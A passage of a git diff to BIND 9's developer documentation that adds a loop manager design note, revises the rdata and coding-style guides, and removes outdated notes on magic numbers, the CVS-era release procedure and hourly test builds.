+using the same resource, the resource can be freed in the ``callback1()`` and
+not in the ``callback2()``.
+
+Same applies f.e. to the ``uv_idle_t``, if you want the ``action1()`` to execute
+before ``action2()``, the valid code would be:
+
+    uv_idle_start(&idle2, action2);
+    uv_idle_start(&idle1, action1);
+
+which is really counterintuitive.
diff --git a/doc/dev/loopmgr.md b/doc/dev/loopmgr.md
new file mode 100644
index 0000000000..8f6599b544
--- /dev/null
+++ b/doc/dev/loopmgr.md
@@ -0,0 +1,103 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
+# Loop Manager
+
+This document aims to describe the design of the basic event loop handling in
+the BIND 9.
+
+Every application is expected to create and use a single ``isc_loopmgr_t``
+instance, but the ``isc_loopmgr`` API itself doesn't enforce this requirement.
+
+## Event Loops
+
+The loop manager creates *N* event loops (of type ``isc_loop_t``), where *N* is
+specified by the caller when creating the loop manager.  The number of event
+loops is usually same as the number of logical CPUs.  The minimum *N* is 1, and
+maximum is limited only by the machine resources.
+
+For each event loop, a thread is created by the loop manager.  The
+``isc_loop_t`` object itself is built on top of ``uv_loop_t``.  ``uv_loop_t``
+is not thread-safe, and this is also true for ``isc_loop_t``.  If you need to
+run an event on a different event loop, see below for the ``isc_async`` API.
+
+The application can get a reference to the current event loop using
+``isc_loop_current()``, to the main event loop (loop 0) that will always exist
+using ``isc_loop_main()`` and to an arbitrary event loop using
+``isc_loop_get()``.
+
+## Application Start and Stop
+
+Every application MUST add its initial events using ``isc_loopmgr_setup()`` to
+be run on all initialized event loops or ``isc_loop_setup()`` to be run on a
+selected event loop.
+
+Applications MAY also add events to be run when the application is shut down by
+calling ``isc_loopmgr_teardown()`` (or ``isc_loop_teardown()`` for a specific
+event loop).
+
+After the setup and teardown events have been configured, the application may
+be started via ``isc_loopmgr_run()``.  ``isc_loopmgr_run()`` will block for the
+caller while event loops are running.  When the work is done,
+``isc_loopmgr_shutdown()`` must be run from within one of the event loops; this
+will cause all loops to be shut down and ``isc_loopmgr_run()`` to return.
+
+The most notable change from the ``isc_app`` API is the lack of a blocked
+``main`` thread.  The loop manager starts the **main** event loop on the
+**main** thread when the application is started.
+
+This API now replaces the old ``isc_app`` API.
+
+## Signal Handling
+
+The loop manager itself takes care of handling the ``SIGTERM`` and ``SIGINT``
+signals, but the application MAY add more handlers via ``isc_signal`` API.  In
+``named``, for example, ``SIGHUP`` is used to trigger an application reload.
+
+## Event scheduling
+
+The application may add events to the event loop via ``isc_job_run()`` for jobs
+on the same event loop, or via ``isc_async_run()`` for jobs to be passed to
+other event loops.  Both functions take the event loop, the callback and the
+callback argument as parameters.
+
+Generally ``isc_job_run()`` is more direct, as it schedules the event directly
+on the event loop and doesn't use locking, and should be preferred unless you
+need to run the event on a different thread.
+
+``isc_async_run()`` is the only new thread-safe function provided by the loop
+manager, uses locked list to collect new jobs and uv_async() primitive to
+enqueue the collected jobs onto the event loop.
+
+## Timers
+
+The ``isc_timer`` API is built on top of the ``uv_timer_t`` object.
+It supports ``ticker`` and ``once`` timers, and uses ``isc_timer_start()``
+and ``isc_timer_stop()`` to start and stop timers. The ``isc_timer_t``
+object is not thread-safe.
+
+## Network Manager
+
+The network manager is built on top loop manager event loops rather than
+managing its own event loops.  Network manager calls are not thread-safe:
+all connect/read/write functions MUST be called from the thread that created
+the network manager socket.
+
+The ``isc_nm_listen*()`` functions MUST be called from the ``main`` loop.
+
+The general design of Network Manager is based on callbacks.  Callback
+functions should always be called asynchronously by the network manager,
+because the caller might be holding a lock, and the callback may try to
+acquire the same lock.  So even if a network manager function is able to
+determine a result immediately, the callback must be scheduled onto the
+event loop instead of executed directly.
diff --git a/doc/dev/magic_numbers b/doc/dev/magic_numbers
deleted file mode 100644
index 381f66e0d4..0000000000
--- a/doc/dev/magic_numbers
+++ /dev/null
@@ -1,63 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-Magic Numbers
-
-A number of data structures in the ISC and DNS libraries have an unsigned int
-magic number as the first field.  The purpose of the magic number is
-principally to validate that a pointer a subroutine has gotten really points
-to the type it claims to be.  This helps detect problems caused by resources
-being freed prematurely, that have been corrupted, or that have not been
-properly initialized.  It can also be handy in debugging.
-
-Magic numbers should always be the first field.  They never require locking
-to access.  As to the actual value to be used, something mnemonic is good:
-
-	#define TASK_MAGIC			0x5441534BU	/* TASK. */
-	#define VALID_TASK(t)			((t) != NULL && \
-						 (t)->magic == TASK_MAGIC)
-
-	#define TASK_MANAGER_MAGIC		0x54534B4DU	/* TSKM. */
-	#define VALID_MANAGER(m)		((m) != NULL && \
-						 (m)->magic ==
-						  TASK_MANAGER_MAGIC)
-
-Unless the memory cost is critical, most objects should have a magic number.
-
-The magic number should be the last field set in a creation routine, so that
-an object will never be stamped with a magic number unless it is valid.
-
-The magic number should be set to zero immediately before the object is
-freed.
-
-Magic values are generally private to the implementation of the type.  I.e.
-they are defined in the .c file, not the .h file.
-
-Validation of magic numbers is done by routines that manipulate the type,
-not by users of the type.  Indeed, user validation is usually not possible
-because the magic number is not public.
-
-Magic number checking may become a build option in a future release.  E.g.
-
-	struct foo {
-		ISC_MAGIC_DECLARATION
-		/* ... */
-	}
-
-	foo_create() {
-		/* ... */
-		ISC_MAGIC_SET(value);
-	}
-
-	foo_destroy() {
-		/* ... */
-		ISC_MAGIC_CLEAR(value);
-	}
-
-	#define FOO_MAGIC	0x00010203U
-	#define VALID_FOO(f)	ISC_MAGIC_VALIDATE(f, FOO_MAGIC)
-
-	foo_dosomething(foo *f) {
-		REQUIRE(VALID_FOO(f));
-	}
diff --git a/doc/dev/rdata.md b/doc/dev/rdata.md
index 1e3a7c6aa6..f68b0b2ffe 100644
--- a/doc/dev/rdata.md
+++ b/doc/dev/rdata.md
@@ -1,13 +1,16 @@
 <!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, you can obtain one at https://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 -->
+
 ## RDATA Types
 
 ### Overview
@@ -108,6 +111,12 @@ Initial rdata hierarchy:
                 any_255/
                         tsig_250.h
 
+#### CLASSNUMBER and TYPENUMBER
+
+Class and type numbers must be unsigned integers. Permissable alphabet: 0 to 9,
+if no match than the file is silently ignored. The number can be at most 65535,
+any number higher is a build error.
+
 #### CLASSNAME and TYPENAME
 
 Class and type names must be from the following alphabet and less that 11
@@ -187,7 +196,7 @@ security area and must be paranoid about its input.
         fromwire_typename(dns_rdataclass_t class,
                            dns_rdatatype_t type,
                            isc_buffer_t *source,
-                           dns_decompress_t *dctx,
+                           dns_decompress_t dctx,
                            bool downcase,
                            isc_buffer_t *target);
 
@@ -195,17 +204,14 @@ security area and must be paranoid about its input.
         fromwire_classname_typename(dns_rdataclass_t class,
                                     dns_rdatatype_t type,
                                     isc_buffer_t *source,
-                                    dns_decompress_t *dctx,
+                                    dns_decompress_t dctx,
                                     bool downcase,
                                     isc_buffer_t *target);
 
-`fromwire_classname_typename()` is required to set the valid
-decompression methods if there is a domain name in the rdata.
+`fromwire_classname_typename()` is required to set whether
+name compression is allowed, according to RFC 3597.
 
-        if (dns_decompress_edns(dctx) >= # || !dns_decompress_strict(dctx))
-                dns_decompress_setmethods(dctx, DNS_COMPRESS_ALL);
-        else
-                dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+        dctx = dns_decompress_setpermitted(dctx, true); /* or false */
 
 |Parameter|Description |
 |---------|-----------------------|
@@ -236,14 +242,10 @@ will return `DNS_R_EXTRADATA`.
                                   dns_compress_t *cctx,
                                   isc_buffer_t *target);
 
-`towire_classname_typename()` is required to set the
-allowed name compression methods based on the EDNS version, if there
-is a domain name in the rdata.
+`towire_classname_typename()` is required to set whether
+name compression is allowed, according to RFC 3597.
 
-        if (dns_compress_getedns(cctx) >= #)
-                dns_compress_setmethods(cctx, DNS_COMPRESS_ALL);
-        else
-                dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+        dns_compress_setpermitted(cctx, true); /* or false */
 
 |Parameter|Description |
 |---------|-----------------------|
diff --git a/doc/dev/release b/doc/dev/release
deleted file mode 100644
index dec88d5584..0000000000
--- a/doc/dev/release
+++ /dev/null
@@ -1,238 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-Preparing a bind9 release
-
-Here's a rough outline of the steps to follow in preparing a new bind9
-release.
-
- - Update the README file
-
- - Send the new README file to webteam@nominum.com at least 48
-   hours prior to the planned release and ask them to prepare
-   the web pages for the new version.  If there have been only
-   minor changes, send context diffs relative to the previous
-   release instead.
-
- - Do a "cvs update" to check that all changes have been committed.
-
- - Verify that the file "version" contains the correct version
-   number (it should have been incremented after the
-   previous release)
-
- - If building from a release branch, check that any important
-   bug fixes made on the mainline since the last release have
-   been pulled up.  You can do this by comparing the CHANGES
-   files using the util/check-pullups.pl script.  For example,
-   running the script from a mainline tree:
-
-     perl util/check-pullups.pl CHANGES ../9.2/CHANGES ../9.2/EXCLUDED
-
-   This will list all bug fixes on the mainline that are not
-   on the 9.2 release branch.
-
- - Before creating a new release branch, update the lib/*/api files
-   as needed.  See the libtool info file for information about what
-   the various numbers mean.
-
-	cvs rdiff -r <last_release> -r <branch/HEAD> bind9/lib > diff
-
-	e.g.
-
-		cvs rdiff -r v9_4_0rc2 -r v9_4 bind9/lib > diff
-
- - Check that https://internal.isc.org/bind-build/
-   shows a clean build and test status for all supported 
-   systems and that the tests are actually being run on the
-   version being released (the version can be found in the
-   page behind the "Source tar build" link).
-
- - Check that running "make all_tests" in bin/tests does not
-   produce compile errors.
-
- - Regenerate the documentation by running "make man" (mainline/9.2)
-   or by running genhtml.sh in doc/arm (9.1 release branch)
-   and commit it.  Note that not all machines have the
-   necessary XML tools, but at least trebuchet, cuba,
-   and Scanner's machine do.  Commit any files that were
-   regenerated.
-
-   Most of this has now been automated, only doc/arm/ARM.pdf will
-   not be committed:
-	ssh tbox@docs.lab.isc.org
-	run this command from crontab.
-1 1 * * * /usr/bin/lockf -s -t 0 /udir/tbox/bind9-documents/regenerate.lock /udir/tbox/bind9-documents/regenerate
-
-   Check to see if the ARM has changed since the last release
-   and if it has commit doc/arm/ARM.pdf.
-   e.g.
-	cvs rdiff -r v9_6_1 -r v9_6 bind9/doc/arm
-	cd bind9-documents/bind9.v9_6
-	cvs commit doc/arm/ARM.pdf
-
- - Verify that the documents in doc/misc are up-to-date.
-
- - Update the copyrights.
-
-	ssh tbox@cvs.isc.org
-	run these two command from the crontab
-#
-# Merge and Update copyrights
-#
-30 23 * * * /usr/bin/lockf -s -t 3600 /udir/tbox/tarballs/build-tarballs.lock /bin/sh /udir/tbox/tarballs/mergecopyrights
-45 23 * * * /usr/bin/lockf -s -t 3600 /udir/tbox/updatecopyrights/updatecopyrights.lock /bin/sh /udir/tbox/updatecopyrights/updatecopyrights
-
-     When tbox@cvs.isc.org is not available:
-
-     Go to the root of the source tree.
-     The scripts need to be run from there; they reference the util
-     subdirectory internally.
-
-     $ make distclean
-     ... [I prefer to check out a fresh source tree --gson]
-     $ perl util/merge_copyrights
-     $ diff util/copyrights util/newcopyrights
-     ... examine output, particularly any files with the "?" type, and
-     ... then edit util/newcopyrights if necessary
-     $ mv util/newcopyrights util/copyrights
-     $ cvs ci -m'merge_copyrights' util/copyrights
-     $ perl util/update_copyrights < util/copyrights
-     $ cvs diff
-     ... examine output, edit as necessary.  mail me about anything that
-     ... the script should have been able to do itself. :-)
-     $ cvs ci -m'update_copyrights'
-
- - Announce a CVS freeze if doing an alpha or beta release from 
-   the mainline, or stop doing pullups if building from a release branch.
-
- - Run util/altbuild.sh.  This is to make sure that
-   builds using libtool, separate source/object directories, and other 
-   obscure build options work.  This script may need some hacking if run
-   on anything other than NetBSD.  Save the output (it's big) and look 
-   for error and warning messages.
-
-      cd $top_of_mainline_tree
-      sh util/altbuild.sh v9_0
-
-   or
-
-      cd $top_of_9_1_tree
-      sh util/altbuild.sh v9_1
-
-   Alteratively, you can do this after building the kit, by giving
-   the kit .tar.gz file as an argument to altbuild.sh instead of
-   the CVS tag.
-
- - If you can (= your system is similar enough to the one Tale is using),
-   check the header files for cruft by running the command
-   [ This step is quite imperfect and should probably be skipped
-     for now -- Tale ]
-
-      find lib -name '*.h' -print | xargs perl util/check-includes.pl
-
- - Add a marker line like "	--- 9.0.0rc10 released ---"
-   to the CHANGES file.
-
- - Tag the CVS source tree with the final tag, as in
-   "cvs rtag v9_0_0rc1 bind9" (mainline) or
-   "cvs rtag -r v9_2 v9_2_0rc10 bind9" (release branch).
-
- - Build the release kit.  This procedure differs
-   between the 9.0 release branch and later versions.
-   On the 9.0 release branch,
-
-        cd <temporary directory>
-	cvs export -r v9_0_0rc10 bind9
-	cd bind9
-	sh configure
-	make kit
-
-   On the 9.[1-2] release branch or mainline, use the
-   "util/kit.sh" script.
-
- - Build bind9 from the kit on ns-ext (phred)
-   and ns-int (rc), install it, and let it run for
-   a day keeping an eye on it for any problems.
-
-     ssh phred.isc.org
-     ver=9.2.0
-     scp rc.isc.org:bind-$ver.tar.gz .
-     gunzip <bind-$ver.tar.gz | tar xfv -
-     cd bind-$ver
-     sh configure
-     make
-     su
-     make install
-     ps -elf | grep named
-     #  kill both the keep-running script and named itself
-     /var/named/keep-running ns-ext &
-
-     ssh rc
-     ver=9.2.0
-     gunzip <bind-$ver.tar.gz | tar xfv -
-     cd bind-$ver
-     sh configure
-     make
-     su
-     make install
-     mv /usr/local/sbin/named /usr/local/sbin/named9
-     ps -elf | grep named
-     # kill both keep-running scripts and both named9:s
-    /var/named/keep-running9 rc-res1 & 
-    /var/named/keep-running9 ns-int &
-
- - If you can, try resolving some IPv6 addresses and
-   doing queries over IPv6.
-
- - If problems are found at this stage, fix them, move the
-   release tag up using "rtag -F", and respin the kit.
-
- - Sign the distribution files with the ISC signing PGP key
-   and fix the permissions on the signature file:
-
-        ver=9.2.0
-   	pgp -sba bind-$ver.tar.gz -u 0x51BAB2ED
-	chmod 644 bind-$ver.tar.gz.asc
-
- - Verify the PGP signature:
-
-	pgp bind-$ver.tar.gz.asc bind-$ver.tar.gz
-
-   (Look for the words "Good signature" in the output.)
-
- - If there is a companion binary kit for NT, sign it and verify the
-   signature:
-
-       scp rc.isc.org:/udir/mayer/BIND$ver.zip .
-       pgp -sba BIND$ver.zip -u 0x51BAB2ED
-       chmod 644 BIND$ver.zip.asc
-       pgp BIND$ver.zip.asc BIND$ver.zip
-
- - Prepare a release announcement based on the previous one.
-
- - Copy the distribution and PGP signature files to the FTP site:
-
-     ssh -n isrv4.pa.vix.com "mkdir /udir/ftp/isc/bind9/$ver"
-     scp bind-$ver.tar.gz bind-$ver.tar.gz.asc \
-	isrv4.pa.vix.com:/udir/ftp/isc/bind9/$ver
-
- - If there is a companion binary kit for NT, copy it, too:
-
-     ssh -n isrv4.pa.vix.com "mkdir /udir/ftp/isc/bind/contrib/ntbind-$ver"
-     scp BIND$ver.zip BIND$ver.zip.asc \
-	isrv4.pa.vix.com:/udir/ftp/isc/bind/contrib/ntbind-$ver
-
- - Download using FTP (or a web browser) using the URLs in the release
-   announcement and verify the PGP signature again
-
- - Ask webteam@nominum.com to publish the updated web pages
-
- - When the web pages are up, announce the release on
-   bind-announce@isc.org
-
- - Increment the version in the file "version", "configure.in" and
-   "doc/arm/Bv9ARM-book.xml".
-
- - Resume doing pullups
-
diff --git a/doc/dev/results b/doc/dev/results
index d252815355..2bdeb29a8e 100644
--- a/doc/dev/results
+++ b/doc/dev/results
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Result Codes
 
@@ -37,7 +46,7 @@ result information as the return value of the function.  E.g.
 
 	isc_result_t result;
 
-	result = isc_task_send(task, &event);
+        result = isc_stdio_open(filename, 0644, &fp);
 
 Note that an explicit result type is used, instead of mixing the error result
 type with the normal result type.  E.g. the C library routine getc() can
diff --git a/doc/dev/style.md b/doc/dev/style.md
index b20cde8565..5537f4c480 100644
--- a/doc/dev/style.md
+++ b/doc/dev/style.md
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 ## BIND 9 Coding Style
 
 BIND 9 is principally written in [C](#cstyle), with some additional code
@@ -11,8 +24,7 @@ below.
 
 A C11 compiler, library with C11 extensions and POSIX:2001 are assumed.  Feel
 free to use any C11 feature, but make sure to provide compatibility shims for
-all supported platforms, e.g. Windows MSVC that doesn't support all of the C11
-features.
+all supported platforms that don't support all of the C11 features.
 
 #### Warnings
 
@@ -21,8 +33,31 @@ is to compile with no warnings.
 
 #### Copyright Notices
 
-Source files with significant content should have a copyright.  The copyright
-year(s) should be kept current.
+The license described in the ``COPYING`` file applies to the BIND 9 source as a
+whole, though individual source files can have a different license which is
+required to be compatible with the MPL-2.0.
+
+Aside from that, individual files can be provided under a dual license,
+e.g. MPL-2.0 license and alternatively under a permissive license like BSD, MIT
+etc.
+
+The common way of expressing the license of a source file is to add the matching
+boilerplate text into the top comment of the file. Due to formatting, typos
+etc. these “boilerplates” are hard to validate for tools which are used in the
+context of license compliance.
+
+An alternative to boilerplate text is the use of Software Package Data Exchange
+(SPDX) license identifiers in each source file. SPDX license identifiers are
+machine parsable and precise shorthands for the license under which the content
+of the file is contributed. SPDX license identifiers are managed by the SPDX
+Workgroup at the Linux Foundation and have been agreed on by partners throughout
+the industry, tool vendors, and legal teams. For further information see
+https://spdx.org/
+
+The BIND 9 requires the precise SPDX identifier in all source files. The valid
+identifiers used in the BIND 9 are explained in the section License identifiers
+and have been retrieved from the official SPDX license list at
+https://spdx.org/licenses/ along with the license texts.
 
 #### Indentation
 
@@ -43,7 +78,7 @@ conform well to BIND 9 C style:
     	set showmode
     	set autoindent
     	set expandtab
-    
+
     	filetype plugin on
     	let c_syntax_for_h = 1
     	autocmd FileType c,cc,cpp set cindent
@@ -51,7 +86,7 @@ conform well to BIND 9 C style:
     	autocmd FileType c,cc,cpp set fo=rotcq
     	autocmd FileType c,cc,cpp set noexpandtab ts=8
     	autocmd FileType python set ts=4 sw=4
-    
+
     	filetype indent on
 
 #### Vertical Whitespace
@@ -101,18 +136,16 @@ Good:
     	/*
     	 * Private variables.
     	 */
-    
+
     	static int	a	       /* Description of 'a'. */
     	static int	b	       /* Description of 'b'. */
     	static char *	c	       /* Description of 'c'. */
 
 
-The following lint and lint-like comments should be used where appropriate:
+The following macros should be used where appropriate:
 
-    	/* ARGSUSED */
-    	/* FALLTHROUGH */
-    	/* NOTREACHED */
-    	/* VARARGS */
+    	FALLTHROUGH;
+    	UNREACHABLE();
 
 #### Header files
 
@@ -151,15 +184,15 @@ or for public files that do not declare any functions.
     	 *
     	 * This Source Code Form is subject to the terms of the Mozilla Public
     	 * License, v. 2.0. If a copy of the MPL was not distributed with this
-    	 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+    	 * file, you can obtain one at https://mozilla.org/MPL/2.0/.
     	 */
-    
+
     	#pragma once
-    
+
     	/*****
     	 ***** Module Info
     	 *****/
-    
+
     	/*
     	 * (Module name here.)
     	 *
@@ -183,20 +216,20 @@ or for public files that do not declare any functions.
     	 * Standards:
     	 *	(Any standards relevant to the module are listed here.)
     	 */
-    
+
     	/***
     	 *** Imports
     	 ***/
-    
+
     	/* #includes here. */
     	#include <isc/lang.h>
-    
+
     	/***
     	 *** Types
     	 ***/
-    
+
     	/* (Type definitions here.) */
-    
+
     	/***
     	 *** Functions
     	 ***/
@@ -236,11 +269,11 @@ specifying the implementation of the function.  The opening curly brace
 should occur on the same line as the argument list, unless the argument
 list is more than one line long:
 
-    	static inline void
+    	static void
     	func1(int i) {
     		/* whatever */
     	}
-    
+
     	int
     	func2(int first_argument, int next_argument,
     	      int last_argument)
@@ -338,7 +371,7 @@ Good:
 
     	os_result_t result;
     	os_descriptor_t	s;
-    
+
     	result = os_socket_create(AF_INET, SOCK_STREAM, 0, &s);
     	if (result != OS_R_SUCCESS) {
     		/* Do something about the error. */
@@ -348,7 +381,7 @@ Good:
 Not so good:
 
     	int s;
-    
+
     	/*
     	 * Obviously using interfaces like socket() (below) is allowed
     	 * since otherwise you couldn't call operating system routines; the
@@ -399,26 +432,26 @@ Good:
 
     	/* Test if flag set. */
     	if ((flags & FOO) != 0) {
-    
+
     	}
     	/* Test if flag clear. */
     	if ((flags & BAR) == 0) {
-    
+
     	}
     	/* Test if both flags set. */
     	if ((flags & (FOO|BAR)) == (FOO|BAR)) {
-    
+
     	}
 
 Bad:
 
     	/* Test if flag set. */
     	if (flags & FOO) {
-    
+
     	}
     	/* Test if flag clear. */
     	if (! (flags & BAR)) {
-    
+
     	}
 
 #### Testing for Zero or Non-zero
@@ -429,9 +462,9 @@ variables.
 Good:
 
     	int i = 10;
-    
+
     	/* ... */
-    
+
     	if (i != 0) {
     		/* Do something. */
     	}
@@ -439,9 +472,9 @@ Good:
 Bad:
 
     	int i = 10;
-    
+
     	/* ... */
-    
+
     	if (i) {
     		/* Do something. */
     	}
@@ -456,9 +489,9 @@ comparison; do not treat a pointer variable as if it were a boolean.
 Good:
 
     	char *c = NULL;
-    
+
     	/* ... */
-    
+
     	if (c != NULL) {
     		/* Do something. */
     	}
@@ -466,9 +499,9 @@ Good:
 Bad:
 
     	char *c = NULL;
-    
+
     	/* ... */
-    
+
     	if (c) {
     		/* Do something. */
     	}
@@ -529,9 +562,9 @@ structure which is itself going to be freed immediately.
 Good:
 
     	char *text;
-    
+
     	/* text is initialized here. */
-    
+
     	isc_mem_free(mctx, text);
     	text = NULL;
 
@@ -602,7 +635,7 @@ Good:
     		int bar;
     		int baz;
     	};
-    
+
     	struct example x = { .foo = -1 };
 
 Bad:
@@ -611,9 +644,9 @@ Bad:
     		int bar;
     		int baz;
     	};
-    
+
     	struct example x;
-    
+
     	x.foo = -1;
     	x.bar = 0;
     	x.baz = 0;
@@ -624,9 +657,9 @@ Good:
     		int bar;
     		int baz;
     	};
-    
+
     	struct example *x = isc_mem_get(mctx, sizeof(*x));
-    
+
     	*x = (struct example){ .foo = -1 };
 
 Bad:
@@ -635,9 +668,9 @@ Bad:
     		int bar;
     		int baz;
     	};
-    
+
     	struct example *x = isc_mem_get(mctx, sizeof(*x));
-    
+
     	x->foo = -1;
     	x->bar = 0;
     	x->baz = 0;
@@ -648,9 +681,14 @@ Declare variables as constant if they are not to be modified.
 
 #### Variable-Length Arrays
 
-Use VLAs where it is more appropriate to allocate the memory on the stack rather
-than allocate it using `isc_mem_get()` from the heap.  Usually, a short lived
-arrays local to that particular functions would be good fit for using VLAs.
+VLAs are unsafe when it is important to handle allocation failure in a
+controlled manner rather than an uncontrolled crash. They are safer if the
+array size is checked first, but then you lose a lot of their simplicity
+and readability.
+
+VLAs should not be used in most code in BIND. VLAs are OK in test code
+where the lack of safety doesn't matter. The default compiler flags enforce
+this rule.
 
 #### <a name="public_namespace"></a>Public Interface Namespace
 
@@ -710,7 +748,7 @@ value of the format parameter:
     	dns_zone_setfile(dns_zone_t *zone, const char *file) {
     		return (dns_zone_setfile2(zone, file, dns_masterformat_text);
     	}
-    
+
     	isc_result_t
     	dns_zone_setfile2(dns_zone_t *zone, const char *file,
     			  dns_masterformat_t format)
@@ -726,24 +764,18 @@ described for the public interfaces, except `{library}` and `{module}` are
 separated by a double-underscore.  This indicates that the name is
 internal, its API is not as formal as the public API, and thus it might
 change without any sort of notice.  Examples of this usage include
-`dns__zone_loadpending()` and `isc__taskmgr_ready()`.
-
-In many cases, a public interface is instantiated by a private back-end
-implementation.  The double-underscore naming style is sometimes used in
-that situation; for example, `isc_task_attach()` calls the `attach`
-function provided by a task API implementation; in BIND 9, this function
-is provided by `isc__task_attach()`.
-
-Other times, private interface implementations are static functions
-that are pointed to by "method" tables.  For example, the `dns_db`
-interface is implemented in several places, including `lib/dns/rbtdb.c`
-(the red-black tree database used for internal storage of zones and
-cache data) and `lib/dns/sdlz.c` (an interface to DLZ modules).
+`dns__zone_loadpending()` and `isc__mem_printallactive()`.
+
+In some cases, a public interface is instantiated by a private back-end
+implementation.  The private interface implementations are typically
+static functions that are pointed to by "method" tables.  For example,
+the `dns_db` interface is implemented in several places, including
+`lib/dns/rbtdb.c` (the red-black tree database used for internal storage of
+zones and cache data) and `lib/dns/sdlz.c` (an interface to DLZ modules).
 An object of type `dns_dbmethods_t` is created for each of these,
-containing function pointers to the local implementations of each
-of the `dns_db` API functions.  The `dns_db_findnode()` function
-is provided by static functions called `findnode()` in each file,
-and so on.
+containing function pointers to the local implementations of each of the
+`dns_db` API functions.  The `dns_db_findnode()` function is provided by
+static functions called `findnode()` in each file, and so on.
 
 #### Initialization
 
@@ -759,8 +791,7 @@ Source which becomes obsolete should be removed, not just disabled with
 
 When using a C library function, consider whether all operating systems
 support it.  Is it in the POSIX standard?  If so, how long has it been
-there? (BIND is still run on some operating systems released in the
-1990s.)  Is its behavior the same on all platforms?  Is its signature
+there?  Is its behavior the same on all platforms?  Is its signature
 the same?  Are integer parameters the same size and signedness?  Does it
 always return the same values on success, and set the same `errno` codes
 on failure?
@@ -813,9 +844,14 @@ program's inputs or operation.
 
 ### <a name="pystyle"></a>Python
 
-BIND 9 contains some optional tools written in Python, in the `bin/python` subdirectory.  Python scripts are stored in the git repository as `{toolname}.py.in`; and `{toolname}.py` will be generated by `configure` (which determines, among other things, the path to the Python interpreter).
+Python is NOT required for building, installing, or using the BIND 9
+name server. However, BIND 9 may use it for its system test
+environment, and in some cases for generating source or documentation
+files which are then committed to to the git repository.
 
-For Python coding, we abide by the Python style guidelines described [here](http://www.python.org/dev/peps/pep-0008/), with a few modifications:
+For Python coding, we enforce a common codestyle using the tool
+[black](https://black.readthedocs.io/en/stable/the_black_code_style/current_style.html)
+There are also a few other requirements:
 
 * The `__init__()` method should always be the first one declared in a
   class definition, like so:
@@ -840,11 +876,8 @@ For Python coding, we abide by the Python style guidelines described [here](http
 
 ### <a name="plstyle"></a>Perl
 
-Perl is NOT required for building, installing, or using the BIND 9 name
-server.  However, BIND 9 may use Perl for its system test environment, for
-certain optional server add-on components, and in some cases for generating
-source files (such as `bind9.xsl.h`, converted from `bind9.xsl`) which are
-then committed to to the git repository.
+Like Python, Perl is NOT required for building, installing, or using
+the BIND 9 name server.
 
 Perl 5 is assumed; Perl scripts do not need to work in Perl 4.
 
diff --git a/doc/dev/tests b/doc/dev/tests
deleted file mode 100644
index 4bad6b3436..0000000000
--- a/doc/dev/tests
+++ /dev/null
@@ -1,124 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-We do hourly test builds of the bind9 tree.  This is an attempt to
-document how they work.
-
-* How things work
-
-The scripts driving the build system are in ~wpk/b9t.  They are now
-under CVS control; the repository is in rc:/proj/cvs/isc/b9t (note
-that this is a separate repository from the bind9 one).  The builds
-are driven by cron jobs separately installed on each build system,
-running as user wpk.
-
-The sources are checked out, and the web reports are generated,
-on bb, as driven by the following cron jobs:
-
-    # Check out the current bind 9 version and make the source tarball.
-    # Argument to maketar.sh should be v9_0 for 9.0 release branch,
-    # HEAD for mainline.
-    35 2-22 * * * PLATFORM=BSD-3.1 && . $HOME/b9t/hosts/$PLATFORM/env && \
-	nice sh $HOME/b9t/bin/maketar.sh HEAD \
-	>/proj/build-reports/bind9/tarsrc.txt 2>&1
-
-    #
-    # run the bind 9 build status report generator
-    #
-    30 3-22 * * * perl $HOME/b9t/bin/b9status.pl \
-         > /proj/build-reports/bind9/bind9.html 2> /dev/null
-
-
-Each host has a separate crontab entry for building the server and
-running tests.  Here are examples from bb and sol:
-
-    #
-    # build the BSD-3.1 version of bind 9
-    #
-    0 3-22 * * * $HOME/b9t/bin/b9t.cron BSD-3.1
-
-    #
-    # bind 9 build for Solaris 5.6
-    #
-    0 3-22 * * * $HOME/b9t/bin/b9t.cron SunOS-5.6
-
-Do not confuse the shell script ~wpk/b9t/bin/b9t.cron with the crontab
-template (?) ~wpk/b9t/b9t.cron.  Although they have the same name,
-they are not related.
-
-The shell script b9t.cron then calls make, using the makefile b9t.mk
-in the same location.  This makefile moves the old status files out of
-the way and runs through the tests.
-
-The current test schedule is as follows:
-
